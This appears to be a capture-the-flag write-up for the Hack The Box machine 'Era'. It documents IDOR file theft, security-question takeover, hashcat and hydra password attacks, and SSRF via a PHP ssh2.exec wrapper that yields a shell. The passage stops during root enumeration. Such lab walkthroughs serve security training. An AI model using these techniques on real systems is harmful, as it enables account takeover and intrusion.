HTB: Era
Era starts with a custom file upload website full of insecure direct object reference vulnerabilities. I’ll create an account and abuse one IDOR to download a site backup from the admin account. Then I’ll abuse an IDOR like vulnerability to get admin access to the site. The admin panel has a PHP vulnerability where I can get it to use the SSH module to login to the host and run commands, providing a reverse shell. From there, I’ll create my own signed binary to replace one that I can run with sudo to get root.
Box Info
| Name | Era Play on HackTheBox |
|---|---|
| Release Date | 26 Jul 2025 |
| Retire Date | 29 Nov 2025 |
| OS | Linux |
| Base Points | Medium [30] |
| Rated Difficulty | ![]() |
| Radar Graph | ![]() |
| 01:22:58 |
|
| 01:33:14 |
|
| Creator |
Recon
Initial Scanning
nmap finds two open TCP ports, FTP (22) and HTTP (80):
oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.10.11.79
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-27 21:04 UTC
...[snip]...
Nmap scan report for 10.10.11.79
Host is up, received echo-reply ttl 63 (0.092s latency).
Scanned at 2025-07-27 21:04:04 UTC for 7s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 7.01 seconds
Raw packets sent: 66854 (2.942MB) | Rcvd: 65890 (2.636MB)
oxdf@hacky$ nmap -p 21,80 -sCV 10.10.11.79
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-27 21:04 UTC
Nmap scan report for 10.10.11.79
Host is up (0.093s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://era.htb/
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.36 seconds
Based on the nginx version, the host is likely running Ubuntu 20.04 focal, though I’ve found nginx to be the least reliable of these for predicting OS.
Both ports show a TTL of 63, which matches the expected TTL for Linux one hop away.
The webserver is returning a redirect to era.htb.
FTP - TCP 21
nmap typically identifies when anonymous login is allowed, but I’ll try it here just to be sure:
oxdf@hacky$ ftp anonymous@10.10.11.79
Connected to 10.10.11.79.
220 (vsFTPd 3.0.5)
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed
When I give an empty password it fails. I’ll have to come back when I get some creds.
Subdomain Brute Force
Given that nginx is routing based on the host, I’ll brute force for any subdomains of era.htb that respond differently from the default case with ffuf:
oxdf@hacky$ ffuf -u http://10.10.11.79 -H "Host: FUZZ.era.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.79
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.era.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
file [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 97ms]
:: Progress: [19966/19966] :: Job [1/1] :: 434 req/sec :: Duration: [0:00:46] :: Errors: 0 ::
It finds on additional subdomain, file.era.htb. I’ll add both to my /etc/hosts file:
10.10.11.79 era.htb file.era.htb
I’ll rescan port 80 with nmap by each vhost name, but there’s nothing super interesting.
era.htb - TCP 80
Site
The site is for an interior design company:
All the links in the nav bar go to anchors on the same index page. I’ll note three users on the “Team” section. There’s a contact us for, with an email (support@era.htb) as well as a form. Clicking the send message button doesn’t even generate an HTTP request, so it’s just a dummy form.
Tech Stack
The HTTP headers only show the standard nginx headers:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 27 Jul 2025 21:05:29 GMT
Content-Type: text/html
Last-Modified: Thu, 12 Dec 2024 17:32:36 GMT
Connection: keep-alive
ETag: W/"675b1e34-4c25"
Content-Length: 19493
The main page loads as /index.html, suggesting this is just a static site. The 404 page is the default nginx 404:
Directory Brute Force
I’ll run feroxbuster against the site, and include -x html since I know the site is using static HTML pages:
oxdf@hacky$ feroxbuster -u http://era.htb --dont-extract-links -x html
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://era.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💲 Extensions │ [html]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 7l 12w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 7l 12w 178c http://era.htb/css => http://era.htb/css/
200 GET 446l 1536w 19493c http://era.htb/
301 GET 7l 12w 178c http://era.htb/js => http://era.htb/js/
301 GET 7l 12w 178c http://era.htb/img => http://era.htb/img/
301 GET 7l 12w 178c http://era.htb/fonts => http://era.htb/fonts/
200 GET 446l 1536w 19493c http://era.htb/index.html
301 GET 7l 12w 178c http://era.htb/js/fancybox => http://era.htb/js/fancybox/
[####################] - 2m 180000/180000 0s found:7 errors:0
[####################] - 2m 30000/30000 268/s http://era.htb/
[####################] - 2m 30000/30000 269/s http://era.htb/css/
[####################] - 2m 30000/30000 269/s http://era.htb/js/
[####################] - 2m 30000/30000 269/s http://era.htb/img/
[####################] - 2m 30000/30000 269/s http://era.htb/fonts/
[####################] - 2m 30000/30000 269/s http://era.htb/js/fancybox/
I often use --dont-extract-links because it just clogs up the output with stuff I don’t care about, and I’ve already looked at the links on the page. Nothing interesting at all.
file.era.htb
Site
This site offers file hosting:
The “Sign In” button leads to /login.php, and the other three also redirect there:
No matter what usernames I guess, the error message is always the same, so it doesn’t look like I can enumerate usernames here:
There’s no obvious link to register, but if I take a quick guess, register.php does exist:
There’s also the “login using security questions” link:
This form does seem to let me enumerate users, as the error message says:
I’m not able to guess any users that don’t return that message with some manual guesses, but if I register an account and try with the wrong other answers, it returns:
Tech Stack
The site is clearly PHP based on the file extensions. On first loading the page, it sets a PHPSESSID cookie as well:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 28 Jul 2025 01:20:35 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Set-Cookie: PHPSESSID=ij2qg02sdtnrud04f7qplv3dcm; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 6765
Visiting /0xdf redirects to /, while visiting /0xdf.php returns the default nginx 404 page. This behavior makes sense, as nginx is probably hosting static files but redirecting PHP paths for execution by the php binary.
Directory Brute Force
I’ll run feroxbuster against the site, and include -x php since the site is PHP:
oxdf@hacky$ feroxbuster -u http://file.era.htb --dont-extract-links -x php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://file.era.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💲 Extensions │ [php]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 7l 10w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 234l 559w 6765c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 7l 12w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 7l 12w 178c http://file.era.htb/images => http://file.era.htb/images/
301 GET 7l 12w 178c http://file.era.htb/files => http://file.era.htb/files/
200 GET 1l 6w 70c http://file.era.htb/logout.php
302 GET 0l 0w 0c http://file.era.htb/download.php => login.php
200 GET 105l 233w 3205c http://file.era.htb/register.php
200 GET 327l 740w 9214c http://file.era.htb/login.php
301 GET 7l 12w 178c http://file.era.htb/assets => http://file.era.htb/assets/
302 GET 0l 0w 0c http://file.era.htb/upload.php => login.php
301 GET 7l 12w 178c http://file.era.htb/assets/css => http://file.era.htb/assets/css/
301 GET 7l 12w 178c http://file.era.htb/assets/css/images => http://file.era.htb/assets/css/images/
302 GET 0l 0w 0c http://file.era.htb/manage.php => login.php
200 GET 0l 0w 0c http://file.era.htb/layout.php
200 GET 662l 5535w 34524c http://file.era.htb/LICENSE
302 GET 0l 0w 0c http://file.era.htb/reset.php => login.php
[####################] - 2m 180000/180000 0s found:14 errors:0
[####################] - 2m 30000/30000 247/s http://file.era.htb/
[####################] - 2m 30000/30000 248/s http://file.era.htb/images/
[####################] - 2m 30000/30000 259/s http://file.era.htb/files/
[####################] - 2m 30000/30000 248/s http://file.era.htb/assets/
[####################] - 2m 30000/30000 248/s http://file.era.htb/assets/css/
[####################] - 2m 30000/30000 248/s http://file.era.htb/assets/css/images/
Nothing I didn’t already find. If I don’t have /register.php at this point, it shows up here.
Authenticated Site
I’ll use the registration page to make an account and log in. I’m redirected to /manage.php:
The “Upload Files” page has a form to upload. If I give it an image and upload, it works:
The file is accessible at /download.php with a four digit ID passed as the id GET parameter. It’s also on the Manage page:
Visiting that link actually returns another page:
Clicking that goes to the same page with &dl=true at the end. If I increment the ID by one, it returns a File Not Found:
The “Update Security Questions” panel has a form for that:
It is odd that it asks for a username, as that should be known from the user’s cookie. Still, I don’t yet known any valid usernames. If I update my user, it implies it’s using the input username and not the cookie:
Shell as eric
File ID Bruteforce - IDOR
I’ll setup ffuf to bruteforce file ids to see what happens if I find another user’s file with the following options:
-u <url>- The URL to fuzz, with theidparameter marked for replacement.-H "Cookie:..."- Without auth, everything just returns a redirect to login.-w <( seq 0 5100)-ffufcan’t generate a sequence on it’s own, but rather requires a file. I’ll use process substitution to generate a list and pass it in from theseqcommand.-fr 'File Not Found'- Tellffufto hide responses that include this string.
It finds three files (the last of which is mine):
oxdf@hacky$ ffuf -u http://file.era.htb/download.php?id=FUZZ -H "Cookie: PHPSESSID=ij2qg02sdtnrud04f7qplv3dcm" -w <( seq 0 5100) -fr 'File Not Found'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://file.era.htb/download.php?id=FUZZ
:: Wordlist : FUZZ: /dev/fd/63
:: Header : Cookie: PHPSESSID=ij2qg02sdtnrud04f7qplv3dcm
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Regexp: File Not Found
________________________________________________
54 [Status: 200, Size: 6378, Words: 2552, Lines: 222, Duration: 94ms]
150 [Status: 200, Size: 6366, Words: 2552, Lines: 222, Duration: 94ms]
5094 [Status: 200, Size: 6364, Words: 2552, Lines: 222, Duration: 93ms]
:: Progress: [5101/5101] :: Job [1/1] :: 425 req/sec :: Duration: [0:00:12] :: Errors: 0 ::
I’m able to access them. For example, 54:
I’ll download both 54 and 150, exploiting an IDOR vulnerability.
signing.zip has two cryptographic files:
oxdf@hacky$ unzip -l signing.zip
Archive: signing.zip
Length Date Time Name
--------- ---------- ----- ----
2949 2025-01-26 02:09 key.pem
355 2025-01-26 02:09 x509.genkey
--------- -------
3304 2 files
I’ll come back to this later.
Site Source Code
Overview
The site backup archive has the site files:
oxdf@hacky$ ls
bg.jpg files layout_login.php logout.php reset.php screen-main.png upload.php
css functions.global.php layout.php main.png sass screen-manage.png webfonts
download.php index.php LICENSE manage.php screen-download.png screen-upload.png
filedb.sqlite initial_layout.php login.php register.php screen-login.png security_login.php
Question Reset
reset.php has the code for resetting the security questions:
// Process POST submission
if ($_SERVER["REQUEST_METHOD"] === "POST") {
$username = trim($_POST['username'] ?? '');
$new_answer1 = trim($_POST['new_answer1'] ?? '');
$new_answer2 = trim($_POST['new_answer2'] ?? '');
$new_answer3 = trim($_POST['new_answer3'] ?? '');
if ($username === '' || $new_answer1 === '' || $new_answer2 === '' || $new_answer3 === '') {
$error_message = "All fields are required.";
} else {
$query = "UPDATE users SET security_answer1 = ?, security_answer2 = ?, security_answer3 = ? WHERE user_name = ?";
$stmt = $db->prepare($query);
$stmt->bindValue(1, $new_answer1, SQLITE3_TEXT);
$stmt->bindValue(2, $new_answer2, SQLITE3_TEXT);
$stmt->bindValue(3, $new_answer3, SQLITE3_TEXT);
$stmt->bindValue(4, $username, SQLITE3_TEXT);
if ($stmt->execute()) {
$operation_successful = true;
} else {
$error_message = "Error updating security questions. Please try again.";
}
}
}
This block presents an issue. It’s taking the user input username and building the update statement. This means (as I guessed) that any user can update any other user’s security questions, and thus login.
Download
The download.php file has interesting logic as well:
if (!$realFile) {
echo deliverTop("Era - Download");
echo deliverMiddle("File Not Found", "The file you requested doesn't exist on this server", "");
echo deliverBottom();
} else {
$fileName = str_replace("files/", "", $fetched[0]);
// Allow immediate file download
if ($_GET['dl'] === "true") {
header('Content-Type: application/octet-stream');
header("Content-Transfer-Encoding: Binary");
header("Content-disposition: attachment; filename=\"" .$fileName. "\"");
readfile($fetched[0]);
// BETA (Currently only available to the admin) - Showcase file instead of downloading it
} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
$format = isset($_GET['format']) ? $_GET['format'] : '';
$file = $fetched[0];
if (strpos($format, '://') !== false) {
$wrapper = $format;
header('Content-Type: application/octet-stream');
} else {
$wrapper = '';
header('Content-Type: text/html');
}
try {
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
$full_path = $wrapper ? $wrapper . $file : $file;
// Debug Output
echo "Opening: " . $full_path . "\n";
echo $file_content;
} catch (Exception $e) {
echo "Error reading file: " . $e->getMessage();
}
// Allow simple download
} else {
echo deliverTop("Era - Download");
echo deliverMiddle_download("Your Download Is Ready!", $fileName, '<a href="download.php?id='.$_GET['id'].'&dl=true"><i
class="fa fa-download fa-5x"></i></a>');
}
}
Most of that looks like what I would expect, but there’s a special branch for when dl is not set to “true” and the user id (erauser) is 1 (presumably the admin). This takes a format GET parameter, which is renamed to wrapper and used as a protocol to get a file through fopen. This opens a lot of possibilities if I can get access as the id 1 user.
login.php confirms that the user id is what’s stored in erauser on login:
if (!in_array($login_username, $valid_usernames)) {
$error_message = 'Invalid username or password.';
} else {
$relevant_password_hash = contactDB("SELECT user_password FROM users WHERE user_name='$login_username';", 0)[0];
$relevant_user_id = contactDB("SELECT user_id FROM users WHERE user_name='$login_username';", 0)[0];
if (password_verify($_POST['password'], $relevant_password_hash)) {
$_SESSION['eravalid'] = true;
$_SESSION['erauser'] = $relevant_user_id;
header('Location: manage.php');
exit;
} else {
$error_message = 'Invalid username or password.';
$_SESSION['eravalid'] = false;
$_SESSION['erauser'] = null;
}
}
Database
Enumeration
There’s also a SQLite database in the backup:
oxdf@hacky$ file filedb.sqlite
filedb.sqlite: SQLite 3.x database, last written using SQLite version 3037002, file counter 93, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 93
It has two tables:
oxdf@hacky$ sqlite3 filedb.sqlite
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
files users
files has one file:
sqlite> select * from files;
54|files/site-backup-30-08-24.zip|1|1725044282
users shows six users:
sqlite> select * from users;
1|admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC|600|Maria|Oliver|Ottawa
2|eric|$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm|-1|||
3|veronica|$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK|-1|||
4|yuri|$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.|-1|||
5|john|$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6|-1|||
6|ethan|$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC|-1|||
User with ID 1 is admin_ef01cab31aa!
Crack Hashes
I’m not yet aware that I’ll need them because I have the security questions reset, but it’s still worth trying to crash these hashes. I’ll save the usernames and hashes to a file:
admin_ef01cab31aar:$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC
eric:$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm
veronica:$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK
yuri:$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.
john:$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6
ethan:$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC
And pass it to hashcat:
$ hashcat --user filedb.hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
The following 4 hash-modes match the structure of your input hash:
# | Name | Category
======+============================================================+======================================
3200 | bcrypt $2*$, Blowfish (Unix) | Operating System
25600 | bcrypt(md5($pass)) / bcryptmd5 | Forums, CMS, E-Commerce
25800 | bcrypt(sha1($pass)) / bcryptsha1 | Forums, CMS, E-Commerce
28400 | bcrypt(sha512($pass)) / bcryptsha512 | Forums, CMS, E-Commerce
Please specify the hash-mode with -m [hash-mode].
...[snip]...
The login code showed using password_verify, which uses plain bcrypt.
$ hashcat --user filedb.hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt -m 3200
hashcat (v6.2.6) starting
...[snip]...
$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm:america
...[snip]...
$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.:mustang
...[snip]...
Two hashes crack pretty quickly. The rest never do. But I have passwords for eric and yuri:
$ hashcat --user filedb.hashes --show -m 3200
eric:$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm:america
yuri:$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.:mustang
FTP
Access [Intended Path]
I can check eric and yuri against FTP. eric fails before even asking for a password:
oxdf@hacky$ ftp eric@era.htb
Connected to era.htb.
220 (vsFTPd 3.0.5)
530 Permission denied.
ftp: Login failed
yuri’s password works:
oxdf@hacky$ ftp yuri@era.htb
Connected to era.htb.
220 (vsFTPd 3.0.5)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Access [Unintended]
To log in, I’ll need to know usernames. I note above that the “Log in Using Security Questions” is vulnerable to username enumeration. I’ll show this with curl:
oxdf@hacky$ curl -s -d 'username=0xdf&answer1=0xdf&answer2=0xdf&answer3=0xsdf' 'http://file.era.htb/security_login.php' | grep "User not found."
oxdf@hacky$ curl -s -d 'username=not_a_user&answer1=0xdf&answer2=0xdf&answer3=0xsdf' 'http://file.era.htb/security_login.php' | grep "User not found."
<div class='error'>User not found.</div> <form action="/security_login.php" method="post" autocomplete="off">
I’ll use ffuf to bruteforce usernames:
oxdf@hacky$ ffuf -d 'username=FUZZ&answer1=0xdf&answer2=0xdf&answer3=0xsdf' -u http://file.era.htb/security_login.php -w /opt/SecLists/Usernames/Names/names.txt -H 'Content-Type: application/x-www-form-urlencoded' -fr 'User not found.'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://file.era.htb/security_login.php
:: Wordlist : FUZZ: /opt/SecLists/Usernames/Names/names.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=FUZZ&answer1=0xdf&answer2=0xdf&answer3=0xsdf
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Regexp: User not found.
________________________________________________
eric [Status: 200, Size: 5401, Words: 1916, Lines: 178, Duration: 93ms]
ethan [Status: 200, Size: 5401, Words: 1916, Lines: 178, Duration: 92ms]
john [Status: 200, Size: 5401, Words: 1916, Lines: 178, Duration: 92ms]
veronica [Status: 200, Size: 5401, Words: 1916, Lines: 178, Duration: 93ms]
yuri [Status: 200, Size: 5401, Words: 1916, Lines: 178, Duration: 94ms]
:: Progress: [10177/10177] :: Job [1/1] :: 429 req/sec :: Duration: [0:00:24] :: Errors: 0 ::
Now, I can check for weak passwords on FTP using hydra:
oxdf@hacky$ hydra -L users -P /opt/SecLists/Passwords/500-worst-passwords.txt ftp://era.htb
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-28 21:47:30
[DATA] max 16 tasks per 1 server, overall 16 tasks, 2994 login tries (l:6/p:499), ~188 tries per task
[DATA] attacking ftp://era.htb:21/
[STATUS] 259.00 tries/min, 259 tries in 00:01h, 2735 to do in 00:11h, 16 active
[STATUS] 425.67 tries/min, 1277 tries in 00:03h, 1717 to do in 00:05h, 16 active
[STATUS] 324.71 tries/min, 2273 tries in 00:07h, 721 to do in 00:03h, 16 active
[21][ftp] host: era.htb login: yuri password: mustang
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-28 21:55:27
I’m only giving it a small password list, and it’s very slow, but it finds yuri’s access.
FTP Enumeration
There are two directories:
ftp> ls
229 Entering Extended Passive Mode (|||24421|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Jul 22 08:42 apache2_conf
drwxr-xr-x 3 0 0 4096 Jul 22 08:42 php8.1_conf
226 Directory send OK.
apache2_conf has four files:
ftp> ls
229 Entering Extended Passive Mode (|||19007|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 1332 Dec 08 2024 000-default.conf
-rw-r--r-- 1 0 0 7224 Dec 08 2024 apache2.conf
-rw-r--r-- 1 0 0 222 Dec 13 2024 file.conf
-rw-r--r-- 1 0 0 320 Dec 08 2024 ports.conf
226 Directory send OK.
Nothing super interesting in here.
The php8.1_conf has a lot more:
ftp> ls
229 Entering Extended Passive Mode (|||15465|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Jul 22 08:42 build
-rw-r--r-- 1 0 0 35080 Dec 08 2024 calendar.so
-rw-r--r-- 1 0 0 14600 Dec 08 2024 ctype.so
-rw-r--r-- 1 0 0 190728 Dec 08 2024 dom.so
-rw-r--r-- 1 0 0 96520 Dec 08 2024 exif.so
-rw-r--r-- 1 0 0 174344 Dec 08 2024 ffi.so
-rw-r--r-- 1 0 0 7153984 Dec 08 2024 fileinfo.so
-rw-r--r-- 1 0 0 67848 Dec 08 2024 ftp.so
-rw-r--r-- 1 0 0 18696 Dec 08 2024 gettext.so
-rw-r--r-- 1 0 0 51464 Dec 08 2024 iconv.so
-rw-r--r-- 1 0 0 1006632 Dec 08 2024 opcache.so
-rw-r--r-- 1 0 0 121096 Dec 08 2024 pdo.so
-rw-r--r-- 1 0 0 39176 Dec 08 2024 pdo_sqlite.so
-rw-r--r-- 1 0 0 284936 Dec 08 2024 phar.so
-rw-r--r-- 1 0 0 43272 Dec 08 2024 posix.so
-rw-r--r-- 1 0 0 39176 Dec 08 2024 readline.so
-rw-r--r-- 1 0 0 18696 Dec 08 2024 shmop.so
-rw-r--r-- 1 0 0 59656 Dec 08 2024 simplexml.so
-rw-r--r-- 1 0 0 104712 Dec 08 2024 sockets.so
-rw-r--r-- 1 0 0 67848 Dec 08 2024 sqlite3.so
-rw-r--r-- 1 0 0 313912 Dec 08 2024 ssh2.so
-rw-r--r-- 1 0 0 22792 Dec 08 2024 sysvmsg.so
-rw-r--r-- 1 0 0 14600 Dec 08 2024 sysvsem.so
-rw-r--r-- 1 0 0 22792 Dec 08 2024 sysvshm.so
-rw-r--r-- 1 0 0 35080 Dec 08 2024 tokenizer.so
-rw-r--r-- 1 0 0 59656 Dec 08 2024 xml.so
-rw-r--r-- 1 0 0 43272 Dec 08 2024 xmlreader.so
-rw-r--r-- 1 0 0 51464 Dec 08 2024 xmlwriter.so
-rw-r--r-- 1 0 0 39176 Dec 08 2024 xsl.so
-rw-r--r-- 1 0 0 84232 Dec 08 2024 zip.so
226 Directory send OK.
There’s no need to collect all these files, but it is worth noting the extensions available to PHP, specifically ssh2.so.
RCE
Admin Web Access
Logged in as my registered user, I’ll update the security questions for admin_ef01cab31aa. It works, and I’m able to log in:
The two files I’ve collected with the IDOR vulnerability are legitimately here.
I’ll upload an image file, and try to use the show parameter. It’s not super useful. Visiting /download.php?id=7964&show=true&format=image/png just returns the output of the fopen function:
SSRF
If I set the format to a URL, it will try to connect to it. For example, I’ll give /download.php?id=7964&show=true&format=http://10.10.14.6/test, and at my Python webserver:
10.10.11.79 - - [28/Jul/2025 18:25:31] code 404, message File not found
10.10.11.79 - - [28/Jul/2025 18:25:31] "GET /testfiles/0xdf.png HTTP/1.1" 404 -
It seems to append files/<filename> to the end of the format, which makes sense given the source.
SSH RCE
The PHP docs for SSH2 show it adds a few wrappers. ssh2.exec:// seems most interesting. I’ll try running a command using the format from the docs:
ssh2.exec://user:pass@example.com:22/usr/local/bin/somecmd
I’ll load a request in Burp Repeater and give it a go. I’ll need a # (or ;) to end the line making sure the files/<filename> don’t mess up the command. The output is blind, so I can’t do id. But a ping works:
At my listening tcpdump, there’s ICMP:
oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
18:32:49.529520 IP 10.10.11.79 > 10.10.14.6: ICMP echo request, id 1, seq 1, length 64
18:32:49.529557 IP 10.10.14.6 > 10.10.11.79: ICMP echo reply, id 1, seq 1, length 64
That’s RCE. It works with yuri’s creds as well.
Shell
To convert this to a shell, I’ll use a bash reverse shell:
At my nc:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.79 40414
bash: cannot set terminal process group (35553): Inappropriate ioctl for device
bash: no job control in this shell
eric@era:~$
I’ll upgrade the shell using the standard trick:
eric@era:~$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
eric@era:~$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
eric@era:~$
And grab user.txt:
eric@era:~$ cat user.txt
62bbefa8************************
Shell as root
Enumeration
Users
eric’s home directory is very empty:
eric@era:~$ ls -la
total 28
drwxr-x--- 5 eric eric 4096 Jul 22 08:42 .
drwxr-xr-x 4 root root 4096 Jul 22 08:42 ..
lrwxrwxrwx 1 root root 9 Jul 2 09:15 .bash_history -> /dev/null
-rw-r--r-- 1 eric eric 3771 Jan 6 2022 .bashrc
drwx------ 2 eric eric 4096 Sep 17 2024 .cache
drwxrwxr-x 3 eric eric 4096 Jul 22 08:42 .local
drwx------ 2 eric eric 4096 Sep 17 2024 .ssh
-rw-r----- 1 root eric 33 Aug 31 2024 user.txt
As is yuri’s:
eric@era:~$ su - yuri
Password:
$ ls -la
total 20
drwxr-x--- 2 yuri yuri 4096 Jul 22 08:41 .
drwxr-xr-x 4 root root 4096 Jul 22 08:42 ..
lrwxrwxrwx 1 root root 9 Jul 2 09:15 .bash_history -> /dev/null
-rw-r--r-- 1 yuri yuri 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 yuri yuri 3771 Jan 6 2022 .bashrc
-rw-r--r-- 1 yuri yuri 807 Jan 6 2022 .profile
Neither user has any sudo privilege:
eric@era:~$ sudo -l
[sudo] password for eric:
Sorry, user eric may not run sudo on era.
eric@era:~$ su - yuri
Password:
$ sudo -l
[sudo] password for yuri:
Sorry, user yuri may not run sudo on era.
They are the only two users with home directories in /home:
eric@era:/home$ ls
eric yuri
And the only users besides root with shells set:
